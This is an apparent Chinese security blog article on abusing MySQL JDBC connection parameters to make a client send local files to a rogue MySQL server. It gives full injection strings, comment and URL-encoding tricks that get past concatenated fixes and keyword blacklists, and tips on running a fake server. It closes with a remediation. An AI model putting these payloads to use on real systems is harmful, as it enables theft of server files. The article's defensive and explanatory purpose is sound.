JDBC MySQL任意文件读取分析
在渗透测试中,有些发起mysql测试流程(或者说mysql探针)的地方,可能会存在漏洞。在连接测试的时候通过添加allowLoadLocalInfileInPath,allowLoadLocalInfile,allowUrlInLocalInfile与伪造的服务器进行通信,造成任意文件读取。
完整payload:
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=655360
以下是可以利用该漏洞的一些场景
一、端之间数据交互流程
简述一下客户端(被攻击端)与伪造mysql服务器的通信流程。通过wireshark进行抓包读取。
1.问候MySQL客户端
2.等待查询包(03)
3.回答本地数据文件请求tcp option(01 01 08 0a 58 77 5b a8 e9 1f b7 2d
)。前三个字节是数据包的大小(0b 00 00)。接下来的1个字节是数据包编号(01)。下一个字节是数据包类型(fb),然后是文件名(2f 65 74 63 2f 70 61 73 77 64 /etc/hosts)。
主要是数据包的类型字段fb,要求连接的主机将本地文件进行发送。
这两张图展示的是第三个数据包的各个字段。
https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html
在mysql文档中的说到,服务端可以要求客户端读取有可读权限的任何文件。
java端类的初始化变量
com.mysql.jdbc.NonRegisteringDriver#connect主要进行赋值的工作,根据url的内容解析为properties,并对connection这个基类进行赋值,进行初始化的工作。
二、连接参数设置
很多文章仅仅提到了两个可利用的参数。allowLoadLocalInfileInPath这个参数在8.0.22版本之后也是可以利用的。
文件读取的参数
allowLoadLocalInfileInPath=/ 设置读的目录为根目录,这样所有的目录文件都可以读取
allowLoadLocalInfile=true
allowUrlInLocalInfile=true 这两个参数类似
设置包大小参数
maxAllowedPacket=655360
参考:
https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-connp-props-security.html
三、8.0.x和5.1.x版本的一些差异
通过这些差异我们能对后续参数的覆盖以及绕过黑名单的检测。
1、注释符差异
如果对jdbc的连接是对参数进行拼接,可以用注释符进行绕过或者多添加一个参数进行对参数值的覆盖,从而绕过该修复方案。
static String driverName = "com.mysql.cj.jdbc.Drive";
@Test
public void getConnection1(HttpServletRequest request, HttpServletResponse response) {
try {
// 1、加载驱动
Class.forName(driverName);
// 2、获取connection
String jdbcUrl = request.getParameter("jdbcUrl");
Connection conn = DriverManager.getConnection(jdbcUrl + "&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false");
System.out.println(conn);
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
}
8.0.x
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360#
8.0.x是可以使用注释符#来注释掉后面的内容。
8版本在解析connectionString的时候,最后一步query会根据正则匹配将#后面的注释部分去掉。
这样一来可以注释掉之后拼接的内容,覆盖后面想要赋值的变量。
完整的传入test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360#&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false进行对allowLoadLocalInfile,allowUrlInLocalInfile参数值的覆盖。
5.1.x
5.1.x 不可以使用注释符#来注释掉后面的内容,但是可以使用&x=来拼接后面的内容,比如下图这样就可以使用拼接来绕过。
test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360&x=
2、参数名和参数值解析差异
这个方式主要是为了绕过对黑名单的检测,如果在传入payload的时候对这两个值进行校验。
如果黑名单检测的代码是这样写的,很有可能会存在绕过的问题。
public static boolean isValidUrl(String url){
if(url.contains("allowLoadLocalInfile")||url.contains("allowUrlInLocalInfile")||url.contains("allowLoadLocalInfileInPath")){
return false;
}
}
8.0.x
8.0.x是可以使用url编码的方式来对参数名和参数值进行编码。
jdbc:mysql://127.0.0.1:33060/test?maxAllowedPacket=655360&characterEncoding=utf-8&allowUrlInLocalInfil%65=%74%72%75%65# 。allowUrlInLocalInfile,maxAllowedPacket这些字段都是可以url编码绕过的。
所以从原则上来讲用黑名单来过滤必须要先解码再进行匹配,不然可能会造成黑名单绕过的问题。
5.1.x
仅仅参数值可以被编码。
jdbc:mysql://10.188.141.222:33067/test?maxAllowedPacket=655360&characterEncoding=utf-8&allowUrlInLocalInfile=%74%72%75%65
在properties中可以进行url编码,绕过对true的赋值。
所以5版本无法绕过对黑名单机制的检测。
四、关于fakeserver脚本的一些问题
推荐使用https://github.com/fnmsd/MySQL_Fake_Server来搭建恶意的mysql服务器。
有些连接的参数发出来是utf8mb4会遇到下面的报错:
通过抓取wireshark的流量,发现utf8的编码发出包的charset flag是21:
而utf8mb4发出来的编码集是45
所以上面报错的信息会显示不支持,是因为字符集没有被定义:
在flags.py添加一行定义即可。
五、修复方案
原生的场景下可以使用预先定义的Properties将URL中的属性覆盖掉,就可以关闭本地文件读取以及URL读取了。
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?user=test&maxAllowedPacket=655360&allowLoadLocalInfile=true";
Class.forName(driver);
Properties properties = new Properties();
properties.setProperty("allowLoadLocalInfile","false");
properties.setProperty("allowUrlInLocalInfile","false");
properties.setProperty("allowLoadLocalInfileInPath","");
Connection conn = DriverManager.getConnection(DB_URL,properties);
六、参考链接
https://paper.seebug.org/1112/
还没有评论,来说两句吧...